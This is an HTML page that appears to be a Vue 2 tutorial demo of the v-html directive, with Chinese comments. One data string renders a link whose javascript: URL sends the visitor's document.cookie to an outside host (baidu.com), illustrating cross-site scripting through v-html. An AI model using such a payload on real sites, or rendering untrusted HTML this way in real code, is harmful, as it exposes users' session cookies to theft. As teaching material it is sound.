<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-html内置指令</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <!-- v-html 向指定地方渲染元素 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{  
              name:'尚硅谷',
              str:'<h3>你好啊</h3>',
              str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>携带cookie进行请求</a>'
            },
            computed:{
            //计算方法
            
            },
            methods:{
            //方法
            
            },
            filters:{
            //过滤器
            
            }
        })
        </script>
    </html>

